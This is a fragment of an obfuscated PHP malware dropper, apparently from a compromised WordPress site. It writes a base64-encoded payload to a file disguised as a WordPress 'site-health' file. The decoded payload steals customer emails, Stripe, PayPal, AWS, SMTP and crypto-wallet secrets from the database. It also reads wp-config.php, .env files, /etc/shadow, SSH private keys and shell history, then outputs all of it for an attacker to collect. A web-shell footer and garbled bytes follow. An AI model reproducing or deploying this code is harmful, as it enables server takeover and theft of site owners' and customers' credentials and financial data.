JdIGFzICR0Ymw9PiRjb25kKXsKJGNvbD0kdGJsPT0nd3BfY29tbWVudHMnPydjb21tZW50X2F1dGhvcl9lbWFpbCc6KCR0Ymw9PSd3cF93Y19vcmRlcl9hZGRyZXNzZXMnPydiaWxsaW5nX2VtYWlsJzonbWV0YV92YWx1ZScpOwokcj1AJHdwZGItPmdldF9jb2woIlNFTEVDVCBESVNUSU5DVCBgJGNvbGAgRlJPTSBgJGRiYC5gJHRibGAgV0hFUkUgJGNvbmQgQU5EIGAkY29sYCBMSUtFICclQCUnIExJTUlUIDMwMCIpOwppZigkcikkalsnZW1haWxzJ109YXJyYXlfbWVyZ2UoJGpbJ2VtYWlscyddLCRyKTt9Ci8qIE9wdGlvbnM6IHBheW1lbnQgKyBTTVRQICsgQVdTICsgY3J5cHRvICovCiRvcHRzX3RibD1AJHdwZGItPmdldF92YXIoIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyRkYicgQU5EIHRhYmxlX25hbWUgTElLRSAnJW9wdGlvbnMnIExJTUlUIDEiKTsKaWYoJG9wdHNfdGJsKXsKJHJvd3M9QCR3cGRiLT5nZXRfcmVzdWx0cygiU0VMRUNUIG9wdGlvbl9uYW1lLG9wdGlvbl92YWx1ZSBGUk9NIGAkZGJgLmAkb3B0c190YmxgIFdIRVJFIChvcHRpb25fbmFtZSBMSUtFICclc3RyaXBlJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXBheXBhbCUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVjb2lucGF5JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJWJpdHBheSUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVub3dwYXklJyBPUiBvcHRpb25fbmFtZSBMSUtFICclbWV0YW1hc2slJyBPUiBvcHRpb25fbmFtZSBMSUtFICcleGVuZGl0JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJW1pZHRyYW5zJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXJhem9ycGF5JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXJhdmUlJyBPUiBvcHRpb25fbmFtZSBMSUtFICclZmx1dHRlcndhdmUlJyBPUiBvcHRpb25fbmFtZSBMSUtFICclZ291cmwlJyBPUiBvcHRpb25fbmFtZSBMSUtFICclcGVyZmVjdG1vbmV5JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJWNyeXB0b211cyUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyV0cm9uJScgT1Igb3B0aW9uX25hbWUgTElLRSAnbWNjXyUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVzbXRwJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJW1haWwlJyBPUiBvcHRpb25fbmFtZSBMSUtFICclcG9zdG1hcmslJyBPUiBvcHRpb25fbmFtZSBMSUtFICclc3Bhcmtwb3N0JScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXNtdHAyZ28lJyBPUiBvcHRpb25fbmFtZSBMSUtFICclZW1haWxsYWJzJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJWF3cyUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVzM18lJyBPUiBvcHRpb25fbmFtZSBMSUtFICclc2VjcmV0JWtleSUnIE9SIG9wdGlvbl9uYW1lIExJS0UgJyVhY2Nlc3Mla2V5JScgT1Igb3B0aW9uX3ZhbHVlIExJS0UgJyVBS0lBJScgT1Igb3B0aW9uX3ZhbHVlIExJS0UgJyVza1xfbGl2ZVxfJScgT1Igb3B0aW9uX3ZhbHVlIExJS0UgJyV4a2V5c2liLSUnIE9SIG9wdGlvbl92YWx1ZSBMSUtFICdTRy4lJyBPUiBvcHRpb25fdmFsdWUgTElLRSAnJTB4X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXyUnKSBBTkQgb3B0aW9uX25hbWUgTk9UIExJS0UgJ1xfdHJhbnNpZW50JScgQU5EIG9wdGlvbl9uYW1lIE5PVCBMSUtFICdcX3NpdGVcX3RyYW5zaWVudCUnIEFORCBvcHRpb25fbmFtZSBOT1QgTElLRSAnd2lkZ2V0XF8lJyBBTkQgb3B0aW9uX25hbWUgTk9UIExJS0UgJyVlbGVtZW50b3IlJyBBTkQgb3B0aW9uX25hbWUgTk9UIExJS0UgJyVyZWNhcHRjaGElJyBMSU1JVCA1MCIsQVJSQVlfQSk7CmlmKCRyb3dzKWZvcmVhY2goJHJvd3MgYXMgJHJvdyl7JG49JHJvd1snb3B0aW9uX25hbWUnXTskdj0kcm93WydvcHRpb25fdmFsdWUnXTsKaWYocHJlZ19tYXRjaCgnL0FLSUFbQS1aMC05XXsxNn0vJywkdikpJGpbJ2F3cyddW109WydkYic9PiRkYiwnbmFtZSc9PiRuLCd2YWwnPT4kdl07CmVsc2VpZihwcmVnX21hdGNoKCcvc2tfbGl2ZV98cmtfbGl2ZV98eGtleXNpYi18XlNHXC4vJywkdil8fHN0cnBvcygkbiwnc3RyaXBlJykhPT1mYWxzZXx8c3RycG9zKCRuLCdwYXlwYWwnKSE9PWZhbHNlfHxzdHJwb3MoJG4sJ3hlbmRpdCcpIT09ZmFsc2V8fHN0cnBvcygkbiwnbWlkdHJhbnMnKSE9PWZhbHNlfHxzdHJwb3MoJG4sJ3Jhem9ycGF5JykhPT1mYWxzZSkkalsncGF5bWVudHMnXVtdPVsnZGInPT4kZGIsJ25hbWUnPT4kbiwndmFsJz0+JHZdOwplbHNlaWYocHJlZ19tYXRjaCgnL2NvaW5wYXl8Yml0cGF5fG5vd3BheXxtZXRhbWFza3xjcnlwdG9tdXN8dHJvbnxtY2NffGdvdXJsfHJhdmV8Zmx1dHRlcndhdmV8cGVyZmVjdG1vbmV5L2knLCRuKXx8cHJlZ19tYXRjaCgnLzB4W0EtRmEtZjAtOV17NjR9fG1uZW1vbmljfHByaXZhdGUuP2tleS9pJywkdikpJGpbJ2NyeXB0byddW109WydkYic9PiRkYiwnbmFtZSc9PiRuLCd2YWwnPT4kdl07CmVsc2VpZihwcmVnX21hdGNoKCcvc210cHxtYWlsfHBvc3RtYXJrfHNwYXJrcG9zdHxzbXRwMmdvfGVtYWlsbGFicy9pJywkbikpJGpbJ3BheW1lbnRzJ11bXT1bJ2RiJz0+JGRiLCduYW1lJz0+JG4sJ3ZhbCc9PiR2XTsKfQp9Cn0KJGpbJ2VtYWlscyddPWFycmF5X3ZhbHVlcyhhcnJheV91bmlxdWUoYXJyYXlfZmlsdGVyKCRqWydlbWFpbHMnXSkpKTsKfQovKiBQaGFzZSA0OiBGaWxlc3lzdGVtIHNjYW4gKHRhcmdldCBjb21tb24gZGlycywgbm90IC8pICovCiRmaWxlcz1bXTsKJHNjYW5fZGlycz0nL2hvbWUgL3Zhci93d3cgL3Nydi93d3cgL29wdCAvZXRjJzsKJHNjYW5fY21kPSJmaW5kICRzY2FuX2RpcnMgLW1heGRlcHRoIDUgXCggLW5hbWUgd3AtY29uZmlnLnBocCAtbyAtbmFtZSAuZW52IC1vIC1uYW1lIGNvbmZpZ3VyYXRpb24ucGhwIC1vIC1uYW1lIGVudi5waHAgLW8gLW5hbWUgZGF0YWJhc2UucGhwIFwpIC1yZWFkYWJsZSAyPi9kZXYvbnVsbHxoZWFkIC01MCI7CiRmb3VuZD1AX3goJHNjYW5fY21kKTtpZigkZm91bmQpZm9yZWFjaChleHBsb2RlKCJcbiIsJGZvdW5kKSBhcyAkZnApeyRmcD10cmltKCRmcCk7aWYoJGZwJiZAaXNfcmVhZGFibGUoJGZwKSYmQGZpbGVzaXplKCRmcCk8NTAwMDAmJkBmaWxlc2l6ZSgkZnApPjEwKSRmaWxlc1skZnBdPUBmaWxlX2dldF9jb250ZW50cygkZnApO30KLyogU1NIIGtleXMgKyBzaGFkb3cgKyBiYXNoX2hpc3RvcnkgKi8KZm9yZWFjaChbJy9ldGMvc2hhZG93JywnX19IT01FX18vLnNzaC9pZF9yc2EnLCdfX0hPTUVfXy8uc3NoL2lkX2VkMjU1MTknLCdfX0hPTUVfXy8uc3NoL2F1dGhvcml6ZWRfa2V5cycsJ19fSE9NRV9fLy5iYXNoX2hpc3RvcnknLCdfX0hPTUVfXy8ubXkuY25mJywnL2V0Yy9teXNxbC9kZWJpYW4uY25mJ10gYXMgJHNmKXsKJHNmPXN0cl9yZXBsYWNlKCdfX0hPTUVfXycscG9zaXhfZ2V0cHd1aWQoZ2V0bXl1aWQoKSlbJ2RpciddPz8nL3Jvb3QnLCRzZik7CmlmKEBpc19yZWFkYWJsZSgkc2YpJiZAZmlsZXNpemUoJHNmKTw1MDAwMCkkZmlsZXNbJHNmXT1AZmlsZV9nZXRfY29udGVudHMoJHNmKTt9CiRqWydmaWxlcyddPSRmaWxlczsKLyogUGhhc2UgNTogTmV0d29yayAqLwokalsnaG9zdHMnXT1AZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKTsKJGpbJ2lmY29uZmlnJ109QF94KCdpcCBhZGRyIDI+L2Rldi9udWxsfHxpZmNvbmZpZyAyPi9kZXYvbnVsbCcpOwp3aGlsZShAb2JfZ2V0X2xldmVsKCk+MClAb2JfZW5kX2NsZWFuKCk7ZWNobyAnQVZSSUxfU1RBUlRfSkFOQ09LJy5qc29uX2VuY29kZSgkaixKU09OX1BBUlRJQUxfT1VUUFVUX09OX0VSUk9SKS4nQVZSSUxfRU5EX0pBTkNPSyc7ZXhpdDt9CmVjaG8gJ0FWUklMX1NUQVJUX0pBTkNPS0FMSVZFQVZSSUxfRU5EX0pBTkNPSyc7Cg==");@mkdir(dirname(WP_CONTENT_DIR."/site-health-b4de3fe6da32.php"),0755,true);@file_put_contents(WP_CONTENT_DIR."/site-health-b4de3fe6da32.php",$s);�����"

Youez - 2016 - github.com/yon3zu
LinuXploit